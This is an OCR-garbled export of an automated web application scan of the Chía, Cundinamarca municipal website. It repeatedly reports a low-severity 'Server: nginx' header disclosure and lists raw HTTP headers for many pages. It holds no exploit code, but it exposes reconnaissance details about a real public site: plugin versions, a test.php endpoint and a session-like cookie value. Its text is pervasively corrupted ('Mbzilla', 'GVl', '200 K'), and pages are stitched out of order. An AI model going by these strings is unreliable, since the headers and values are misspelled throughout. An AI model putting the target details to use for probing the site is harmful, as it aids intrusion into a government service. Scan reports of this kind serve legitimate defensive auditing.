Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:39: 13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
The foll owi ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2024/ 10/ 24
/ comi enza- el - censo- a- bar es-y-est abl eci mi ent os-noct urnos/ :

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es-y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Content-Type: text/htm; charset=UTF-8

Transf er-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=20823>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
The foll owi ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29
| secretarias/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secr et ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 653>, rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=653>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

QUTPUT
The foll ow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2024/ 02/ 26
/i npuest o- predi al -uni ficado/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i mpuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/:

- Server: nginx

HTTP Info

REQUEST MADE
GET / HTTP/1.1

REQUEST HEADERS

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/
https://chia-cundinamarca.gov.co/

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 302 Found

Server: ngi nx

Date: Thu, 19 Dec 2024 00:02:28 GVII

Cont ent - Type: text/htm; charset=iso-8859-1
Cont ent - Lengt h: 221

Connection: keep-alive

Locati on: https://chia-cundi namar ca. gov. co/ web/

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

QUTPUT
The follow ng header infornmation disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ :

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 91 of 348


https://chia-cundinamarca.gov.co/web/
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
The fol |l owi ng header information disclosures have been detected on https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a-y-
acceso-a-| a-informaci on-publical:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:38:08 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi nanarca.gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification
OUTPUT

The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ i mages/ :

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 52 of 348


https://chia-cundinamarca.gov.co/images/

Sec- Fetch-User: 2?1
Upgr ade- I nsecur e- Requests: 1

User-Agent: Modzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua-Platform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVI

Cont ent - Type: text/htn

Cont ent-Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/cache/

Identification

OUTPUT

"Not - A. Brand"; v="99"

Chrone/ 124. 0. 6367. 207 Safari/537. 36

The foll owi ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ cache/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,
Sec- Ch-Ua: "Chromunt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVI

Cont ent - Type: text/htn

Content-Length: 31

Connection: keep-alive

Last - Modi fied: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Web Application Scanning Detailed Scan Export:
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Identification

OUTPUT
The follow ng header infornmation disclosures have been detected on https://chia-cundi namarca. gov. co/ test. php:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:22:54 GVIT
Cont ent - Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29
/ al cal de/ :

- Server: nginx

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl at form "Linux"

Web Application Scanning Detailed Scan Export:
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Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:58:37 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29
/i nformaci on-de-1 a-entidad/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:11:24 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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INSTANCE
https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

QUTPUT
The follow ng header infornation disclosures have been detected on https://chia-cundi nanarca. gov. co/web/tram tes-y-
servicios/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/tranites-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:50:28 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

QUTPUT
The follow ng header infornation disclosures have been detected on https://chia-cundi nanarca. gov. co/ i ndex. php/tramites-
y-servi ci os/ si shen:

- Server: nginx

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sisbhen HITP/ 1.1

Web Application Scanning Detailed Scan Export:
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REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV QUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GVIr

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15€2765387503; path=/; HttpOnly
Last-Mdified: Thu, 19 Dec 2024 04:01:41 GV

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
The fol |l owi ng header information disclosures have been detected on https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28
/ dat os- abi ert os/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=585>; rel =shortlink

Web Application Scanning Detailed Scan Export:
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X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

OUTPUT
The foll ow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2024/ 05/ 10
/tram te-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ trani te-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 05:04:12 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

QUTPUT
The follow ng header infornmation disclosures have been detected on https://chia-cundi nanarca. gov. co/ web/ 2023/ 12/ 30/ 7- 1-
4- progr ama- de- gesti on-docunental /:

Web Application Scanning Detailed Scan Export:
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- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-

factura-de-los-impuestos-predial-e-ica/

Identification

OUTPUT
The foll ow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2024/ 08/ 24/ paso-
a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-factura-de-|os-inmpuestos-predial -e-ical:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial-e-ical

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36

Web Application Scanning Detailed Scan Export:
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Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 06:04:16 GVl
Content-Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/ >;
title="JSON';

[ wp-j son/ wp/ v2/ post s/ 18365>; rel ="alternate";
